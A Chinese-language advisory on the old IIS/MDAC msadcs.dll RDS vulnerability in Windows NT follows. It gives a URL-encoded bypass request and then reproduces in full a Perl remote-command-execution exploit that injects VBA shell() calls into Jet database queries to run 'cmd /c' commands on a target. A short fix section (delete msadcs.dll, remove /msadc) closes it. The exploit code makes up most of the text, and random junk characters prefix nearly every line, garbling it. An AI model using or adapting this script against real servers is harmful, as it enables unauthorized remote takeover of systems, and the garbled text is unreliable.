IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
-P#nT 2 ~3=2=Uf 涉及程序:
&jm[4'$
*z Microsoft NT server
JEHK:1^ ;|30QUYh 描述:
KO,_6>8]U 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
treXOC9^B8 cyMs(21 详细:
2
sSwDF 如果你没有时间读详细内容的话,就删除:
oh\1>3,Ns c:\Program Files\Common Files\System\Msadc\msadcs.dll
Gah lS*W 有关的安全问题就没有了。
}1>atgq]w 9^zx8MRXd 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
t!jwY /T V2<i/6~ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
>&hX&,hG 关于利用ODBC远程漏洞的描述,请参看:
m2b`/JW w3bIb$12 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm u^=@DO' jG8;]XP 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
!6E:5=L^ http://www.microsoft.com/security/bulletins/MS99-025faq.asp d@>\E/zA }ywi"k4> 这里不再论述。
./.=Rw :[?!\m%0 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
ragSy8M Dl\d_:+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Dh`=ydI5 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
kCp)!hVQ F5IZ"Itu( W)-hU~^OM #将下面这段保存为txt文件,然后: "perl -x 文件名"
kfCKhx k7Oy5$## #!perl
Jpx'W #
f)^t') # MSADC/RDS 'usage' (aka exploit) script
"Ot{^_e #
MPvWCPB # by rain.forest.puppy
qGa<@ b #
Z| L2oce # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
FpdHnu i1 # beta test and find errors!
}vD;DSz: GP]TnQ<*; use Socket; use Getopt::Std;
o+^Eu}[. getopts("e:vd:h:XR", \%args);
vYzVY\ `M rBav print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
;+%Z@b% if@,vc if (!defined $args{h} && !defined $args{R}) {
/q*KO\L print qq~
':sTd^V Usage: msadc.pl -h <host> { -d <delay> -X -v }
P)IjL&[ -h <host> = host you want to scan (ip or domain)
^&m?qKN8 -d <seconds> = delay between calls, default 1 second
.e$%[)D -X = dump Index Server path table, if available
'w6hW7"L -v = verbose
UE7'B?
-e = external dictionary file for step 5
u]*5Ex (? ysVi3eq Or a -R will resume a command session
w_H2gaQ 3{pk5_c ~; exit;}
>0V0i%inmF 0n5!B..m} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
^0Q'./A{& if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
8uA<G/Q; if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
4NUNOv`[{ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
4:3_ER ]J $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
dXO=ZU/N if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
KpGUq0d@ TkT-$=i if (!defined $args{R}){ $ret = &has_msadc;
%~\ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
gvo?([j-m _n_sfT6)B print "Please type the NT commandline you want to run (cmd /c assumed):\n"
|."G ?* . "cmd /c ";
h0XH`v $in=<STDIN>; chomp $in;
Bb_Q_<DTs $command="cmd /c " . $in ;
LP?P=c m&cvU>lC if (defined $args{R}) {&load; exit;}
I-{^[p p %^!aB print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
H ;wR &try_btcustmr;
>{F!ntEj b[0S=e
G print "\nStep 2: Trying to make our own DSN...";
;NG1{]|Z &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
pz @km 1M/$<
kQ-N print "\nStep 3: Trying known DSNs...";
tQ[]Rc &known_dsn;
X~zRZ0 [Q:f-<nH print "\nStep 4: Trying known .mdbs...";
to51hjV &known_mdb;
u
GIr&`S
ol#yjrv if (defined $args{e}){
4Pf+]R print "\nStep 5: Trying dictionary of DSN names...";
"ZqEP R) &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ZM
8U]0[X @Wz%KdXA print "Sorry Charley...maybe next time?\n";
jYk5~<\k exit;
dq2@6xd Z>h{`
X\2 ##############################################################################
yDuq6`R* QE*%HR' sub sendraw { # ripped and modded from whisker
"5(W[$f*]v sleep($delay); # it's a DoS on the server! At least on mine...
952V@.Zp my ($pstr)=@_;
<
GU socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Of&"U/^ die("Socket problems\n");
?V?<E=13 if(connect(S,pack "SnA4x8",2,80,$target)){
yF;?Hg select(S); $|=1;
o"4E+1qwM print $pstr; my @in=<S>;
GVZTDrC select(STDOUT); close(S);
"?[7#d]) return @in;
-U:2H7 } else { die("Can't connect...\n"); }}
#@q1Ko!NZ I3An57YV]. ##############################################################################
S2bexbp0o :fW.-^"VP sub make_header { # make the HTTP request
<k5`&X!+ my $msadc=<<EOT
My],6va^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
90(UgK&Y User-Agent: ACTIVEDATA
>'.[G:b Host: $ip
u9,=po=+7f Content-Length: $clen
JeL~]F Connection: Keep-Alive
18rp;
l{ G1TANy ADCClientVersion:01.06
LGXZx}4@; Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
1Df,a#,y" jVs(x
--!ADM!ROX!YOUR!WORLD!
X]MTaD.t Content-Type: application/x-varg
_^-D _y Content-Length: $reqlen
s_S$7N`ocS #XfT1 EOT
$-e=tWkgv ; $msadc=~s/\n/\r\n/g;
U(!?d ]en return $msadc;}
+dJ&tuL:S \ JG
#m ##############################################################################
eZA6D\ q6Rw4 sub make_req { # make the RDS request
d&?F#$> 7| my ($switch, $p1, $p2)=@_;
L@+Z)# V my $req=""; my $t1, $t2, $query, $dsn;
moe/cO5a9 VH[l\I(h if ($switch==1){ # this is the btcustmr.mdb query
ys/vI/e\ $query="Select * from Customers where City=" . make_shell();
C,(j$Id $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
2zM-Ob<U` $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
i!tc l*qk1H"g elsif ($switch==2){ # this is general make table query
w~p4S+k& $query="create table AZZ (B int, C varchar(10))";
X4Lsvvz%@ $dsn="$p1";}
yj'Cy8 z41D^}b elsif ($switch==3){ # this is general exploit table query
AT-0}9z{ $query="select * from AZZ where C=" . make_shell();
lqauk)(A0 $dsn="$p1";}
=8@RKG`>; qA04Vc[2 elsif ($switch==4){ # attempt to hork file info from index server
0xLkyt0 $query="select path from scope()";
d0TgqO{ $dsn="Provider=MSIDXS;";}
]M uF9={ K1<k+t/V elsif ($switch==5){ # bad query
JLml#Pu4 $query="select";
u!M&;QL $dsn="$p1";}
"7:u0p! k,AM]H $t1= make_unicode($query);
F~%|3a$Y $t2= make_unicode($dsn);
8cB=}XgYS $req = "\x02\x00\x03\x00";
@::lJDGVv $req.= "\x08\x00" . pack ("S1", length($t1));
50COL66:7 $req.= "\x00\x00" . $t1 ;
J#+Op/mmo $req.= "\x08\x00" . pack ("S1", length($t2));
y _6r/z^ $req.= "\x00\x00" . $t2 ;
BL7>dZOa $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
'r6 cVBb} return $req;}
xS-w\vbLV b#e]1Q ##############################################################################
?,!uA)({n % /~os2R sub make_shell { # this makes the shell() statement
[1e.i return "'|shell(\"$command\")|'";}
$x/J+9Ww 3Sk5I% ##############################################################################
n&(3o6i' 0=2H9v sub make_unicode { # quick little function to convert to unicode
IcRM4Ib))Q my ($in)=@_; my $out;
Rz)v-Yu for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
cl?<
7 return $out;}
=7#u+*Yr9 y(V&z"wk[ ##############################################################################
{ 576+:* gfV]^v sub rdo_success { # checks for RDO return success (this is kludge)
)8 oEs my (@in) = @_; my $base=content_start(@in);
RzMA\r;# if($in[$base]=~/multipart\/mixed/){
X #&(~1O return 1 if( $in[$base+10]=~/^\x09\x00/ );}
w 7Cne%J8 return 0;}
m9 ^m SlR7h$r' ##############################################################################
CZF^Wxk 7?+5%7- sub make_dsn { # this makes a DSN for us
jQO*oq} my @drives=("c","d","e","f");
0kkRK*fp}x print "\nMaking DSN: ";
'9f6ZAnYpQ foreach $drive (@drives) {
/5&3WG&<u print "$drive: ";
E*Pz < my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
| pF5`dX "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
F@B . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
+Kxe ymwr2 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
6\%r6_.d return 0 if $2 eq "404"; # not found/doesn't exist
B >ms`|q=l if($2 eq "200") {
-/@|2!d foreach $line (@results) {
6s> sj7 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
~ W2:NQ>i } return 0;}
9yO{JgKA qn5yD!1 ##############################################################################
`\Uc4lRS Iq^~ sub verify_exists {
c(QG4.)m my ($page)=@_;
JHnk%h0 my @results=sendraw("GET $page HTTP/1.0\n\n");
#(m`2Z`H return $results[0];}
[Od>NO,n+] vx({N? ##############################################################################
4x=V|" Pn~pej5'K sub try_btcustmr {
p7%0hLW my @drives=("c","d","e","f");
nh _DEPMq my @dirs=("winnt","winnt35","winnt351","win","windows");
Ry3+/] :!r9 =N9 foreach $dir (@dirs) {
Bu*W1w\ print "$dir -> "; # fun status so you can see progress
AGw1Pl8]K foreach $drive (@drives) {
EGp~Vo- print "$drive: "; # ditto
)6O\WB| $reqlen=length( make_req(1,$drive,$dir) ) - 28;
nXx6L!H J# $reqlenlen=length( "$reqlen" );
p~,a= $clen= 206 + $reqlenlen + $reqlen;
v!WU |=u QC$=Fs5+ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
W;xW:
- if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
SSl8 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
"`gf y )$2%&9b ##############################################################################
]#vvlM>/ 2+c>O%L sub odbc_error {
M Ak-=?t my (@in)=@_; my $base;
.=.yZ my $base = content_start(@in);
{hkM*:U if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
z^gDbXS $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Dme(Knly $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
F'$9en2I: $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
pko!{,c return $in[$base+4].$in[$base+5].$in[$base+6];}
>
gA %MT print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
)R
[@G. print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
q/W{PBb-2k $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
xiOv$.@q |G`4"``]k ##############################################################################
]be0I) 4~]8N@Bii sub verbose {
$@+p~ )r(l my ($in)=@_;
>Hd~Ca> return if !$verbose;
0 .6X{kO print STDOUT "\n$in\n";}
,kGw;8X N"q+UCRC ##############################################################################
N}.Q%&6: sRo<4U0M;l sub save {
)A>U<n $h my ($p1, $p2, $p3, $p4)=@_;
Zi[{\7a open(OUT, ">rds.save") || print "Problem saving parameters...\n";
y]~+ `9 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
DK#65H' close OUT;}
Nqo#sBS 'O\d<F.c$2 ##############################################################################
1j${,>4tQ O+{pF.P#V sub load {
o{S}e!Vb my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
W<cW;mO
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
tk3<sr"IQ @p=<IN>; close(IN);
Cu)%s $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
z[0LU]b< $target= inet_aton($ip) || die("inet_aton problems");
q/ d5P print "Resuming to $ip ...";
1pYmtr $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
0`g}(}'L if($p[1]==1) {
T@d_t $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
4 _c:Vl $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Se;?j- my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
,J`lr
U0 if (rdo_success(@results)){print "Success!\n";}
Rsa\V6N> else { print "failed\n"; verbose(odbc_error(@results));}}
*_"c!eW elsif ($p[1]==3){
&kXGWp if(run_query("$p[3]")){
V,|Bzcz print "Success!\n";} else { print "failed\n"; }}
\>aa8LOe elsif ($p[1]==4){
^2Fs)19R if(run_query($drvst . "$p[3]")){
&2<&X( ) print "Success!\n"; } else { print "failed\n"; }}
}Uqa8& exit;}
N%n1>!X)! #+k.b_LS ##############################################################################
&}L36|A: M'>D[5;N~ sub create_table {
\M'bY: my ($in)=@_;
V{AH\IV- $reqlen=length( make_req(2,$in,"") ) - 28;
r0hta)xa $reqlenlen=length( "$reqlen" );
Je4.9?Ch $clen= 206 + $reqlenlen + $reqlen;
|)!k@?_ my @results=sendraw(make_header() . make_req(2,$in,""));
dc\u$'F@S return 1 if rdo_success(@results);
f!uA$uLc my $temp= odbc_error(@results); verbose($temp);
0T{c:m~QXe return 1 if $temp=~/Table 'AZZ' already exists/;
{'=Nb
5F return 0;}
pdcwq~4~% CL<KBmW7 ##############################################################################
,XBV }y Dbkuh!R sub known_dsn {
sBuq # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Q'Q72Fg my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
q.,p6D "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
\/x)BE, "banner", "banners", "ads", "ADCDemo", "ADCTest");
6ljRV) ELkOrV~a{: foreach $dSn (@dsns) {
qqz,~EhC print ".";
`1[Sv" next if (!is_access("DSN=$dSn"));
sJHy=z0m if(create_table("DSN=$dSn")){
wk@(CKQzI, print "$dSn successful\n";
yTq(x4] if(run_query("DSN=$dSn")){
kj<D 4) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
x>8}|ou print "Something's borked. Use verbose next time\n";}}} print "\n";}
\{+nXn ^*?B)D =, ##############################################################################
esC\R4he n|4D#Bd1w sub is_access {
3<UDVt@0 my ($in)=@_;
\$~oH3m& $reqlen=length( make_req(5,$in,"") ) - 28;
0imqj7L $reqlenlen=length( "$reqlen" );
_'v }=:X $clen= 206 + $reqlenlen + $reqlen;
u=v%7c2Mx} my @results=sendraw(make_header() . make_req(5,$in,""));
qeK my $temp= odbc_error(@results);
tE9_dR^K verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Z.Y;[Y
return 0;}
{KpH|i utm+\/ ##############################################################################
.'NO~ G
&rYz sub run_query {
4f*Ua`E_ my ($in)=@_;
,T21z}r $reqlen=length( make_req(3,$in,"") ) - 28;
!ovZ>,1 $reqlenlen=length( "$reqlen" );
cJ(zidf_$ $clen= 206 + $reqlenlen + $reqlen;
Pguyf2/w my @results=sendraw(make_header() . make_req(3,$in,""));
1UA~J|&gi^ return 1 if rdo_success(@results);
/nD0hb my $temp= odbc_error(@results); verbose($temp);
M5ySs\O4 return 0;}
lA
Ck$E x}8T[ ##############################################################################
sKG~<8M} i37a}.; sub known_mdb {
]stLC; nI my @drives=("c","d","e","f","g");
g`5`KU| my @dirs=("winnt","winnt35","winnt351","win","windows");
A*26' my $dir, $drive, $mdb;
+VpE-X=T my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
@IyH(J],h }^Ua # this is sparse, because I don't know of many
s=%+o&B my @sysmdbs=( "\\catroot\\icatalog.mdb",
J:-TINeB "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
J%O4IcE "\\system32\\certmdb.mdb",
k.%W8C<Pa "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
{ d2f)ra. |>o0d~s my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
6L6~IXL> "\\cfusion\\cfapps\\forums\\forums_.mdb",
^p- e "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
<sWcS; x "\\cfusion\\cfapps\\security\\realm_.mdb",
'B<qG<> "\\cfusion\\cfapps\\security\\data\\realm.mdb",
m5;[,He "\\cfusion\\database\\cfexamples.mdb",
{@K2WB "\\cfusion\\database\\cfsnippets.mdb",
xMfv&q=k@ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
vL=--# "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
6`5
@E\"E "\\cfusion\\brighttiger\\database\\cleam.mdb",
T~~$=vP9 "\\cfusion\\database\\smpolicy.mdb",
`Py=
?[cD "\\cfusion\\database\cypress.mdb",
3_eml\CY "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
?o(X0 "\\website\\cgi-win\\dbsample.mdb",
Xx<&6
4W "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
uA/.4 b "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
*ZSp9g"Z ); #these are just
u+tb83~[= foreach $drive (@drives) {
e'?doP foreach $dir (@dirs){
:mtw}H 'F8 foreach $mdb (@sysmdbs) {
t>h
i$NX{p print ".";
=|JIY if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Ccd7|L1 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
vyx\N{ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Lv5
==w} print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
0qd;'r< } else { print "Something's borked. Use verbose next time\n"; }}}}}
$I6eHjYT io33+/ foreach $drive (@drives) {
GqD!W8+ foreach $mdb (@mdbs) {
i6 ypx print ".";
ZYD88kQ if(create_table($drv . $drive . $dir . $mdb)){
|KrG3-i3X print "\n" . $drive . $dir . $mdb . " successful\n";
.8PO7# if(run_query($drv . $drive . $dir . $mdb)){
't%%hw-m} print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
s$\8)V52 } else { print "Something's borked. Use verbose next time\n"; }}}}
B[_b J
* }
>0+|0ba cxJK>%84 ##############################################################################
I/b8 ?kFCYZK|" sub hork_idx {
+=H>s;B print "\nAttempting to dump Index Server tables...\n";
tD0>(41K print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
[dF=1E>W_J $reqlen=length( make_req(4,"","") ) - 28;
w{O3P"N2 $reqlenlen=length( "$reqlen" );
]3y5b9DuW $clen= 206 + $reqlenlen + $reqlen;
&MQt2aL my @results=sendraw2(make_header() . make_req(4,"",""));
#`L}. if (rdo_success(@results)){
&eS70hq my $max=@results; my $c; my %d;
6'*Uo:] for($c=19; $c<$max; $c++){
|>}0? '/] $results[$c]=~s/\x00//g;
WKJL<
D ]: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
}nY^T&?` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
KJJb^6P48W $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
`rdfROKv $d{"$1$2"}="";}
WAmoKZw2 foreach $c (keys %d){ print "$c\n"; }
R6$F<;nw } else {print "Index server doesn't seem to be installed.\n"; }}
GV@E<dg$R <^'+]? ##############################################################################
jhbH6=f4]^ iai4$Y(% sub dsn_dict {
hSKH#NS open(IN, "<$args{e}") || die("Can't open external dictionary\n");
v9` B.(Ru while(<IN>){
8EEQV} 4 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
3jeV4| next if (!is_access("DSN=$dSn"));
Tocdh.H| if(create_table("DSN=$dSn")){
"XsY~ print "$dSn successful\n";
1@z@ if(run_query("DSN=$dSn")){
qe"6#@b *| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<07W&`Dw print "Something's borked. Use verbose next time\n";}}}
M-K@n$k print "\n"; close(IN);}
KdMA58) 2xdJ(\JWM ##############################################################################
P:-/3 7Z~szD sub sendraw2 { # ripped and modded from whisker
:h^UC~[h 3 sleep($delay); # it's a DoS on the server! At least on mine...
Ci9wF(<k my ($pstr)=@_;
V;]VwsZ" socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
14YV#o: die("Socket problems\n");
3v>,c>b([ if(connect(S,pack "SnA4x8",2,80,$target)){
si.a]k/f print "Connected. Getting data";
0@x$Cp open(OUT,">raw.out"); my @in;
y*Q-4_%, select(S); $|=1; print $pstr;
54cgX)E[x while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
\lIHC{V\ close(OUT); select(STDOUT); close(S); return @in;
8PjhvU } else { die("Can't connect...\n"); }}
Wy>\KrA1 E/P53CD ##############################################################################
r_sl~^* : 7^ {hn_%; sub content_start { # this will take in the server headers
#I~dv{RX my (@in)=@_; my $c;
PH%gX`N for ($c=1;$c<500;$c++) {
WM
)g(i~( if($in[$c] =~/^\x0d\x0a/){
QR$sIu@% if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
:p)9Heu
else { return $c+1; }}}
n]c,0N return -1;} # it should never get here actually
Wc;D{p?Lb 9,> Y ##############################################################################
2co{9LM Y '*h_K sub funky {
(wF$"c3'{ my (@in)=@_; my $error=odbc_error(@in);
U9sub6w 6 if($error=~/ADO could not find the specified provider/){
'?GZ"C2 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
@5V Z exit;}
uOqDJM'RM if($error=~/A Handler is required/){
vS__*}^ print "\nServer has custom handler filters (they most likely are patched)\n";
|F{E4mg(o exit;}
a(T4WDl^ if($error=~/specified Handler has denied Access/){
}M@Jrq+7 print "\nServer has custom handler filters (they most likely are patched)\n";
HwMsP$`q exit;}}
}4]x"DfIg 'wV26Dm ##############################################################################
V="f)'S$ *LdH/C.LIf sub has_msadc {
QO1Gq9 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
pytfsVM my $base=content_start(@results);
~0GX~{;r return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
q ? TI, return 0;}
d6
EJn/ .T wF]v ########################
vbh#[,lh TEZqAR]G <[l}^`IC^4 解决方案:
]JuB6o_L 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
z( [ $,e\ 2、移除web 目录: /msadc